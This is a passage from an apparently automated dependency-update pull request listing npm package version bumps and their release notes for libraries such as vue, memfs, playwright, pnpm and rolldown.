`4.47.0`](https://renovatebot.com/diffs/npm/memfs/4.43.0/4.47.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [motion](https://redirect.github.com/motiondivision/motion ) |
devDependencies | patch | [`12.23.16` ->
`12.23.22`](https://renovatebot.com/diffs/npm/motion/12.23.16/12.23.22 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[vue](https://redirect.github.com/vuejs/core/tree/main/packages/vue#readme )
([source](https://redirect.github.com/vuejs/core )) | devDependencies |
patch | [`3.5.21` ->
`3.5.22`](https://renovatebot.com/diffs/npm/vue/3.5.21/3.5.22 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [@vscode/vsce](https://code.visualstudio.com )
([source](https://redirect.github.com/Microsoft/vsce )) | devDependencies
| patch | [`3.6.0` ->
`3.6.2`](https://renovatebot.com/diffs/npm/@vscode%2fvsce/3.6.0/3.6.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [pnpm](https://pnpm.io )
([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm )) |
packageManager | patch | [`10.17.0` ->
`10.17.1`](https://renovatebot.com/diffs/npm/pnpm/10.17.0/10.17.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [@typescript-eslint/visitor-keys](https://typescript-eslint.io )
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/visitor-keys ))
| devDependencies | patch | [`8.44.0` ->
`8.44.1`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fvisitor-keys/8.44.0/8.44.1 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [playwright](https://playwright.dev )
([source](https://redirect.github.com/microsoft/playwright )) |
devDependencies | patch | [`1.55.0` ->
`1.55.1`](https://renovatebot.com/diffs/npm/playwright/1.55.0/1.55.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [rolldown](https://rolldown.rs/ )
([source](https://redirect.github.com/rolldown/rolldown/tree/HEAD/packages/rolldown ))
| devDependencies | patch | [`1.0.0-beta.38` ->
`1.0.0-beta.40`](https://renovatebot.com/diffs/npm/rolldown/1.0.0-beta.38/1.0.0-beta.40 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Release Notes
<details>
<summary>modelcontextprotocol/typescript-sdk
(@​modelcontextprotocol/sdk)</summary>
###
[`v1.18.2`](https://redirect.github.com/modelcontextprotocol/typescript-sdk/releases/tag/1.18.2 )
[Compare
Source](https://redirect.github.com/modelcontextprotocol/typescript-sdk/compare/1.18.1...1.18.2 )
#### What's Changed
- Updates the sampling code example in the README by
[@​viniciuscsouza](https://redirect.github.com/viniciuscsouza ) in
[#​958](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/958 )
- Use redirect Uri passed in in `demoInMemoryOAuthProvider` by
[@​TylerLeonhardt](https://redirect.github.com/TylerLeonhardt ) in
[#​931](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/931 )
- fix(auth-router): correct Protected Resource Metadata for pathful RS
and add explicit resourceServerUrl (RFC 9728) by
[@​blustAI](https://redirect.github.com/blustAI ) in
[#​858](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/858 )
- chore: update version to 1.18.2 for weekly release by
[@​felixweinberger](https://redirect.github.com/felixweinberger )
in
[#​970](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/970 )
#### New Contributors
- [@​viniciuscsouza](https://redirect.github.com/viniciuscsouza )
made their first contribution in
[#​958](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/958 )
- [@​TylerLeonhardt](https://redirect.github.com/TylerLeonhardt )
made their first contribution in
[#​931](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/931 )
- [@​blustAI](https://redirect.github.com/blustAI ) made their
first contribution in
[#​858](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/858 )
**Full Changelog**:
<https://github.com/modelcontextprotocol/typescript-sdk/compare/1.18.1...1.18.2 >
</details>
<details>
<summary>streamich/memfs (memfs)</summary>
###
[`v4.47.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4470-2025-09-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.46.1...v4.47.0 )
##### Features
- align openAsBlob errors with Node.js behavior
([1f1afb7](https://redirect.github.com/streamich/memfs/commit/1f1afb7049edcc0a72c6b0d052c8ac8d85b21d64 ))
####
[4.46.1](https://redirect.github.com/streamich/memfs/compare/v4.46.0...v4.46.1 )
(2025-09-25)
##### Bug Fixes
- handle Uint8Array byteOffset and byteLength in readSync
([bba8729](https://redirect.github.com/streamich/memfs/commit/bba87296ee748e9fc3ca2466c680eea13f5de51a ))
###
[`v4.46.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4470-2025-09-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.46.0...v4.46.1 )
##### Features
- align openAsBlob errors with Node.js behavior
([1f1afb7](https://redirect.github.com/streamich/memfs/commit/1f1afb7049edcc0a72c6b0d052c8ac8d85b21d64 ))
####
[4.46.1](https://redirect.github.com/streamich/memfs/compare/v4.46.0...v4.46.1 )
(2025-09-25)
##### Bug Fixes
- handle Uint8Array byteOffset and byteLength in readSync
([bba8729](https://redirect.github.com/streamich/memfs/commit/bba87296ee748e9fc3ca2466c680eea13f5de51a ))
###
[`v4.46.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4470-2025-09-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.45.0...v4.46.0 )
##### Features
- align openAsBlob errors with Node.js behavior
([1f1afb7](https://redirect.github.com/streamich/memfs/commit/1f1afb7049edcc0a72c6b0d052c8ac8d85b21d64 ))
####
[4.46.1](https://redirect.github.com/streamich/memfs/compare/v4.46.0...v4.46.1 )
(2025-09-25)
##### Bug Fixes
- handle Uint8Array byteOffset and byteLength in readSync
([bba8729](https://redirect.github.com/streamich/memfs/commit/bba87296ee748e9fc3ca2466c680eea13f5de51a ))
###
[`v4.45.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4450-2025-09-24 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.44.0...v4.45.0 )
##### Bug Fixes
- 🐛 inline Buffer and URL
([0b6c43a](https://redirect.github.com/streamich/memfs/commit/0b6c43a088beb74adbd976071d1672e94a90d5db ))
##### Features
- inline fs.ts types to remove node:fs dependency
([22886c3](https://redirect.github.com/streamich/memfs/commit/22886c3ec2a8298e6b18ceb0080c92ed5e5e90bc ))
###
[`v4.44.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4440-2025-09-24 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.43.1...v4.44.0 )
##### Bug Fixes
- 🐛 remove dependence on "assert" module
([c7c6f6c](https://redirect.github.com/streamich/memfs/commit/c7c6f6c87315ad8c8b886e7a47e8dd553d89df70 ))
##### Features
- move internal files to vendor/node/internal and cleanup unused error
codes
([3a9ee47](https://redirect.github.com/streamich/memfs/commit/3a9ee47eced4cc034e45833eaecd4ed8ad66e94d ))
####
[4.43.1](https://redirect.github.com/streamich/memfs/compare/v4.43.0...v4.43.1 )
(2025-09-24)
##### Bug Fixes
- Use cross-platform `dirname` instead of `posix.dirname`
([7a51ac3](https://redirect.github.com/streamich/memfs/commit/7a51ac33fce9f14dbb7ed54eff417dc666887222 )),
closes
[#​1193](https://redirect.github.com/streamich/memfs/issues/1193 )
###
[`v4.43.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4440-2025-09-24 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.43.0...v4.43.1 )
##### Bug Fixes
- 🐛 remove dependence on "assert" module
([c7c6f6c](https://redirect.github.com/streamich/memfs/commit/c7c6f6c87315ad8c8b886e7a47e8dd553d89df70 ))
##### Features
- move internal files to vendor/node/internal and cleanup unused error
codes
([3a9ee47](https://redirect.github.com/streamich/memfs/commit/3a9ee47eced4cc034e45833eaecd4ed8ad66e94d ))
####
[4.43.1](https://redirect.github.com/streamich/memfs/compare/v4.43.0...v4.43.1 )
(2025-09-24)
##### Bug Fixes
- Use cross-platform `dirname` instead of `posix.dirname`
([7a51ac3](https://redirect.github.com/streamich/memfs/commit/7a51ac33fce9f14dbb7ed54eff417dc666887222 )),
closes
[#​1193](https://redirect.github.com/streamich/memfs/issues/1193 )
</details>
<details>
<summary>motiondivision/motion (motion)</summary>
###
[`v12.23.22`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122322-2025-09-25 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.21...v12.23.22 )
##### Added
- Exporting `HTMLElements` and `useComposedRefs` type for internal use.
###
[`v12.23.21`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122321-2025-09-24 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.20...v12.23.21 )
##### Fixed
- Fixing main-thread `scroll` with animations that contain `delay`.
###
[`v12.23.20`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122320-2025-09-24 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.19...v12.23.20 )
##### Fixed
- Suppress non-animatable value warning for instant animations.
###
[`v12.23.19`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122319-2025-09-23 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.18...v12.23.19 )
##### Fixed
- Remove support for changing `ref` prop.
###
[`v12.23.18`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122318-2025-09-19 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.16...v12.23.18 )
##### Fixed
- `<motion />` components now support changing `ref` prop.
</details>
<details>
<summary>vuejs/core (vue)</summary>
###
[`v3.5.22`](https://redirect.github.com/vuejs/core/blob/HEAD/CHANGELOG.md#3522-2025-09-25 )
[Compare
Source](https://redirect.github.com/vuejs/core/compare/v3.5.21...v3.5.22 )
##### Bug Fixes
- **compiler-core:** identifiers in switch-case should not be inferred
as references
([#​13923](https://redirect.github.com/vuejs/core/issues/13923 ))
([5953c9f](https://redirect.github.com/vuejs/core/commit/5953c9ff90090e128372f645d377bd99137a5fb4 ))
- **compiler-dom:** nodes with v-once shouldn't be stringified
([#​13878](https://redirect.github.com/vuejs/core/issues/13878 ))
([95c1975](https://redirect.github.com/vuejs/core/commit/95c197560409f5d39a0d376c0a43d89a47a604e8 ))
- **compiler-sfc:** add support for `@vue-ignore` in runtime type
resolution
([#​13906](https://redirect.github.com/vuejs/core/issues/13906 ))
([ba7f7f9](https://redirect.github.com/vuejs/core/commit/ba7f7f90f689f6e7e0417a192d081db542de28ec ))
- **compiler-sfc:** enhance inferRuntimeType to support TSMappedType
with indexed access
([#​13848](https://redirect.github.com/vuejs/core/issues/13848 ))
([e388f1a](https://redirect.github.com/vuejs/core/commit/e388f1a09fde78cf006450f060813d972ac8c23d )),
closes
[#​13847](https://redirect.github.com/vuejs/core/issues/13847 )
- **compiler-sfc:** ensure css custom properties do not start with a
digit
([#​13870](https://redirect.github.com/vuejs/core/issues/13870 ))
([9c27951](https://redirect.github.com/vuejs/core/commit/9c279517b9bc1f4c250c555ec9b9eb6104756d56 ))
- **compiler-sfc:** ensure props bindings register before compiling
template
([#​13922](https://redirect.github.com/vuejs/core/issues/13922 ))
([abd5638](https://redirect.github.com/vuejs/core/commit/abd563822abafe63047f7b599bff266380ee2b64 )),
closes
[#​13920](https://redirect.github.com/vuejs/core/issues/13920 )
- **compiler-ssr:** ensure v-show has a higher priority in SSR
([#​12171](https://redirect.github.com/vuejs/core/issues/12171 ))
([836b829](https://redirect.github.com/vuejs/core/commit/836b82976ffb7aa0ea9cbe417bef07deae3ca47c )),
closes
[#​12162](https://redirect.github.com/vuejs/core/issues/12162 )
- **custom-element:** properly mount multiple Teleports in custom
element component w/ shadowRoot false
([#​13900](https://redirect.github.com/vuejs/core/issues/13900 ))
([5e1e791](https://redirect.github.com/vuejs/core/commit/5e1e791880238380a1038ae2c505e206ceb34d77 )),
closes
[#​13899](https://redirect.github.com/vuejs/core/issues/13899 )
- **custom-element:** set prop runs pending mutations before disconnect
([#​13897](https://redirect.github.com/vuejs/core/issues/13897 ))
([c4a88cd](https://redirect.github.com/vuejs/core/commit/c4a88cdd0dfed3ef46a8aa9be448c01781fdc4f0 )),
closes
[#​13315](https://redirect.github.com/vuejs/core/issues/13315 )
- **custom-element:** use `PatchFlags.BAIL` for slot when props are
present
([#​13907](https://redirect.github.com/vuejs/core/issues/13907 ))
([5358bca](https://redirect.github.com/vuejs/core/commit/5358bca4a80cf52d19ed91967eeaa025a786083d )),
closes
[#​13904](https://redirect.github.com/vuejs/core/issues/13904 )
- **reactivity:** respect readonly during ref unwrapping
([#​13905](https://redirect.github.com/vuejs/core/issues/13905 ))
([aba7fed](https://redirect.github.com/vuejs/core/commit/aba7feda1703e69e5a7c37f784718de0371adadc )),
closes
[#​13903](https://redirect.github.com/vuejs/core/issues/13903 )
- **reactivity:** update iterator to check for completion instead of
value presence
([#​13761](https://redirect.github.com/vuejs/core/issues/13761 ))
([2078f8b](https://redirect.github.com/vuejs/core/commit/2078f8b7565cf637f47fcd5b0abdfb2b264225bb ))
- **runtime-core:** simplify block-tracking disabling in `h` helper
([#​13841](https://redirect.github.com/vuejs/core/issues/13841 ))
([75220c7](https://redirect.github.com/vuejs/core/commit/75220c7995a13a483ae9599a739075be1c8e17f8 ))
- **transition-group:** run `forceReflow` on the correct document (fix
[#​13849](https://redirect.github.com/vuejs/core/issues/13849 ))
([#​13853](https://redirect.github.com/vuejs/core/issues/13853 ))
([1be5ddf](https://redirect.github.com/vuejs/core/commit/1be5ddfe878c8bfddaa2c50e82105b247f50b9ba ))
- **types:** more precise types for Events and added missing definitions
([#​9675](https://redirect.github.com/vuejs/core/issues/9675 ))
([8bb8fb2](https://redirect.github.com/vuejs/core/commit/8bb8fb236257c03bfa0bccadcfffe3eb4592f71b ))
- **types:** set dom stub type to `never` instead of `{}`
([#​13915](https://redirect.github.com/vuejs/core/issues/13915 ))
([8620a61](https://redirect.github.com/vuejs/core/commit/8620a616eb02a64fe32dd52d9be68e360687ef9d )),
closes
[#​11564](https://redirect.github.com/vuejs/core/issues/11564 )
- **types:** widen directive arg type from string to any
([#​13758](https://redirect.github.com/vuejs/core/issues/13758 ))
([4b71706](https://redirect.github.com/vuejs/core/commit/4b7170625d0bc93b26a3343aeda98850c1138f82 )),
closes
[#​13757](https://redirect.github.com/vuejs/core/issues/13757 )
##### Features
- **custom-element:** allow specifying additional options for
`shadowRoot` in custom elements
([#​12965](https://redirect.github.com/vuejs/core/issues/12965 ))
([47e628d](https://redirect.github.com/vuejs/core/commit/47e628df1ce1914c5677010ad5bddd18d037cb3c )),
closes
[#​12964](https://redirect.github.com/vuejs/core/issues/12964 )
##### Reverts
- Revert "fix(hmr): prevent **VUE\_HMR\_RUNTIME** from being overwritten
by vue runtime in 3rd-party libraries"
([#​13925](https://redirect.github.com/vuejs/core/issues/13925 ))
([6b68f72](https://redirect.github.com/vuejs/core/commit/6b68f72673dac5db349f26eeefb2f2e0e342586b )),
closes
[#​13925](https://redirect.github.com/vuejs/core/issues/13925 )
</details>
<details>
<summary>Microsoft/vsce (@​vscode/vsce)</summary>
###
[`v3.6.2`](https://redirect.github.com/microsoft/vscode-vsce/releases/tag/v3.6.2 )
[Compare
Source](https://redirect.github.com/Microsoft/vsce/compare/v3.6.1...v3.6.2 )
#### Changes:
-
[#​1199](https://redirect.github.com/Microsoft/vsce/issues/1199 ):
fix: generate language model tag for `languageModelChatProvider`
contributions
This list of changes was [auto
generated](https://dev.azure.com/monacotools/Monaco/_build/results?buildId=360104\&view=logs ).
###
[`v3.6.1`](https://redirect.github.com/microsoft/vscode-vsce/releases/tag/v3.6.1 )
[Compare
Source](https://redirect.github.com/Microsoft/vsce/compare/v3.6.0...v3.6.1 )
##### Changes:
-
[#​1198](https://redirect.github.com/Microsoft/vsce/issues/1198 ):
chore: bump vsce-sign to 2.0.7
-
[#​1194](https://redirect.github.com/Microsoft/vsce/issues/1194 ):
Engineering - do not run Azure Pipeline for pull requests
-
[#​1193](https://redirect.github.com/Microsoft/vsce/issues/1193 ):
fix: check exec params
-
[#​1191](https://redirect.github.com/Microsoft/vsce/issues/1191 ):
Bump tmp from 0.2.3 to 0.2.4
-
[#​1188](https://redirect.github.com/Microsoft/vsce/issues/1188 ):
Avoid Node.js DEP0190 warning by using string form for prepublish
command
-
[#​1190](https://redirect.github.com/Microsoft/vsce/issues/1190 ):
chore: migrate PR check to GitHub Actions
-
[#​1189](https://redirect.github.com/Microsoft/vsce/issues/1189 ):
update secretlint
-
[#​1187](https://redirect.github.com/Microsoft/vsce/issues/1187 ):
Bump form-data from 4.0.0 to 4.0.4
-
[#​1185](https://redirect.github.com/Microsoft/vsce/issues/1185 ):
chore: onboard OSS pipeline to 1ES template
-
[#​1179](https://redirect.github.com/Microsoft/vsce/issues/1179 ):
add `commonjs` annotation to package.json
This list of changes was [auto
generated](https://dev.azure.com/monacotools/Monaco/_build/results?buildId=359038\&view=logs ).
</details>
<details>
<summary>pnpm/pnpm (pnpm)</summary>
###
[`v10.17.1`](https://redirect.github.com/pnpm/pnpm/blob/HEAD/pnpm/CHANGELOG.md#10171 )
[Compare
Source](https://redirect.github.com/pnpm/pnpm/compare/v10.17.0...v10.17.1 )
##### Patch Changes
- When a version specifier cannot be resolved because the versions don't
satisfy the `minimumReleaseAge` setting, print this information out in
the error message
[#​9974](https://redirect.github.com/pnpm/pnpm/pull/9974 ).
- Fix `state.json` creation path when executing `pnpm patch` in a
workspace project
[#​9733](https://redirect.github.com/pnpm/pnpm/pull/9733 ).
- When `minimumReleaseAge` is set and the `latest` tag is not mature
enough, prefer a non-deprecated version as the new `latest`
[#​9987](https://redirect.github.com/pnpm/pnpm/issues/9987 ).
</details>
<details>
<summary>typescript-eslint/typescript-eslint
(@​typescript-eslint/visitor-keys)</summary>
###
[`v8.44.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/visitor-keys/CHANGELOG.md#8441-2025-09-22 )
[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.44.0...v8.44.1 )
This was a version bump only for visitor-keys to align it with other
projects, there were no code changes.
You can read about our [versioning
strategy](https://typescript-eslint.io/users/versioning ) and
[releases](https://typescript-eslint.io/users/releases ) on our website.
</details>
<details>
<summary>microsoft/playwright (playwright)</summary>
###
[`v1.55.1`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.55.1 )
[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.55.0...v1.55.1 )
##### Highlights
[#​37479](https://redirect.github.com/microsoft/playwright/issues/37479 )
- \[Bug]: Upgrade Chromium to 140.0.7339.186.
[#​37147](https://redirect.github.com/microsoft/playwright/issues/37147 )
- \[Regression]: Internal error: step id not found.
[#​37146](https://redirect.github.com/microsoft/playwright/issues/37146 )
- \[Regression]: HTML reporter displays a broken chip link when there
are no projects.
[#​37137](https://redirect.github.com/microsoft/playwright/pull/37137 )
- Revert "fix(a11y): track inert elements as hidden".
#### Browser Versions
- Chromium 140.0.7339.186
- Mozilla Firefox 141.0
- WebKit 26.0
This version was also tested against the following stable channels:
- Google Chrome 139
- Microsoft Edge 139
</details>
<details>
<summary>rolldown/rolldown (rolldown)</summary>
###
[`v1.0.0-beta.40`](https://redirect.github.com/rolldown/rolldown/blob/HEAD/CHANGELOG.md#100-beta40---2025-09-24 )
[Compare
Source](https://redirect.github.com/rolldown/rolldown/compare/v1.0.0-beta.39...v1.0.0-beta.40 )
##### 🚀 Features
- rolldown: oxc v0.92.0
([#​6322](https://redirect.github.com/rolldown/rolldown/issues/6322 ))
by [@​Boshen](https://redirect.github.com/Boshen )
- adding partial `MagicString` binding
([#​6289](https://redirect.github.com/rolldown/rolldown/issues/6289 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_plugin\_vite\_html: initialize
([#​6292](https://redirect.github.com/rolldown/rolldown/issues/6292 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
##### 🐛 Bug Fixes
- rolldown\_plugin\_react\_refresh\_wrapper: avoid using cwd to allow
using as a callable plugin
([#​6318](https://redirect.github.com/rolldown/rolldown/issues/6318 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- rolldown\_plugin\_transform: resolve tsconfig from absolute path
([#​6311](https://redirect.github.com/rolldown/rolldown/issues/6311 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
##### 🚜 Refactor
- Construct MagicString with `Cow<str>` instead of `&str`
([#​6288](https://redirect.github.com/rolldown/rolldown/issues/6288 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- throw error if generating oxc runtime helper fails
([#​6291](https://redirect.github.com/rolldown/rolldown/issues/6291 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
##### 📚 Documentation
- add more description about sourcemapIgnoreList
([#​6314](https://redirect.github.com/rolldown/rolldown/issues/6314 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
##### ⚡ Performance
- reduce `sourcemap_ignore_list` js function call
([#​6313](https://redirect.github.com/rolldown/rolldown/issues/6313 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- string\_wizard: use memchr to find patterns in `replace`
([#​6312](https://redirect.github.com/rolldown/rolldown/issues/6312 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- simplify sourcemap token processing in collapse\_sourcemaps
([#​6310](https://redirect.github.com/rolldown/rolldown/issues/6310 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown: some minor perf optimization
([#​6306](https://redirect.github.com/rolldown/rolldown/issues/6306 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
- rolldown: fine-tuning the tokio scheduler
([#​6272](https://redirect.github.com/rolldown/rolldown/issues/6272 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
##### ⚙️ Miscellaneous Tasks
- deps: lock file maintenance rust crates
([#​6302](https://redirect.github.com/rolldown/rolldown/issues/6302 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: lock file maintenance npm packages
([#​6301](https://redirect.github.com/rolldown/rolldown/issues/6301 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- use `lto: thin` in profile mode for better profiling experience.
([#​6320](https://redirect.github.com/rolldown/rolldown/issues/6320 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- adjust the tokio runtime config in bench
([#​6305](https://redirect.github.com/rolldown/rolldown/issues/6305 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
- deps: update dependency rolldown-plugin-dts to v0.16.8
([#​6307](https://redirect.github.com/rolldown/rolldown/issues/6307 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
###
[`v1.0.0-beta.39`](https://redirect.github.com/rolldown/rolldown/blob/HEAD/CHANGELOG.md#100-beta39---2025-09-22 )
[Compare
Source](https://redirect.github.com/rolldown/rolldown/compare/v1.0.0-beta.38...v1.0.0-beta.39 )
##### 🚀 Features
- rolldown: oxc v0.90.0 + other oxc crate updates
([#​6274](https://redirect.github.com/rolldown/rolldown/issues/6274 ))
by [@​Boshen](https://redirect.github.com/Boshen )
- support ignoring `/* @​vite-ignore */` comment for dynamic
imports
([#​6264](https://redirect.github.com/rolldown/rolldown/issues/6264 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- dev: merge mergeable queued tasks into one
([#​6253](https://redirect.github.com/rolldown/rolldown/issues/6253 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- dev: ignore self imports when computing update for invalidate
([#​6252](https://redirect.github.com/rolldown/rolldown/issues/6252 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- support `#__NO_SIDE_EFFECTS__` annotation for export default function
declaration
([#​6239](https://redirect.github.com/rolldown/rolldown/issues/6239 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_plugin\_dynamic\_import\_vars: respect `@vite-ignore`
comment
([#​6240](https://redirect.github.com/rolldown/rolldown/issues/6240 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_import\_glob: support `exhaustive` option
([#​6236](https://redirect.github.com/rolldown/rolldown/issues/6236 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- cross chunk /\* @​**NO\_SIDE\_EFFECTS** \*/ support
([#​6207](https://redirect.github.com/rolldown/rolldown/issues/6207 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_plugin\_react\_refresh\_wrapper: make the plugin callable
([#​6229](https://redirect.github.com/rolldown/rolldown/issues/6229 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### 🐛 Bug Fixes
- handle optional chaining in scope hoisting member expression rewriting
([#​6278](https://redirect.github.com/rolldown/rolldown/issues/6278 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- release: Fix semver commit release format to use plus instead of dash
([#​6273](https://redirect.github.com/rolldown/rolldown/issues/6273 ))
by [@​Copilot](https://redirect.github.com/Copilot )
- dev: `ensure_latest_build_output` should work correctly when
`eagerBuild: false`
([#​6262](https://redirect.github.com/rolldown/rolldown/issues/6262 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- browser: does not work in stackblitz
([#​6257](https://redirect.github.com/rolldown/rolldown/issues/6257 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- only inline constants that are not reassigned
([#​6247](https://redirect.github.com/rolldown/rolldown/issues/6247 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- handle lexical declarations in root scope
([#​6230](https://redirect.github.com/rolldown/rolldown/issues/6230 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
##### 🚜 Refactor
- move oxc runtime helper generation from `build.rs` to task generator
([#​6284](https://redirect.github.com/rolldown/rolldown/issues/6284 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- remove unused `SpanExt`
([#​6266](https://redirect.github.com/rolldown/rolldown/issues/6266 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- remove `@rolldown-ignore` ignore comment support
([#​6265](https://redirect.github.com/rolldown/rolldown/issues/6265 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- enhance CommonJsAstType to track property names
([#​6250](https://redirect.github.com/rolldown/rolldown/issues/6250 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- simplify usage for `Address::from`
([#​6245](https://redirect.github.com/rolldown/rolldown/issues/6245 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- remove `stmt_info_idx` in StmtInfo
([#​6244](https://redirect.github.com/rolldown/rolldown/issues/6244 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- extract `CrossModuleOptimizationRunnerContext` in
cross\_module\_optimization
([#​6243](https://redirect.github.com/rolldown/rolldown/issues/6243 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- dev: task-queue based deisgn
([#​6233](https://redirect.github.com/rolldown/rolldown/issues/6233 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- extract immutable context from AstScanner
([#​6238](https://redirect.github.com/rolldown/rolldown/issues/6238 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- dev: rename `WatcherEventService` to `BuildDriverService`
([#​6232](https://redirect.github.com/rolldown/rolldown/issues/6232 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- move FlatOptions to rolldown\_common
([#​6235](https://redirect.github.com/rolldown/rolldown/issues/6235 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- extract mutable state from ScopeHoistingFinalizerContext
([#​6234](https://redirect.github.com/rolldown/rolldown/issues/6234 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- wait `this.load` using futures instead of callbacks
([#​6222](https://redirect.github.com/rolldown/rolldown/issues/6222 ))
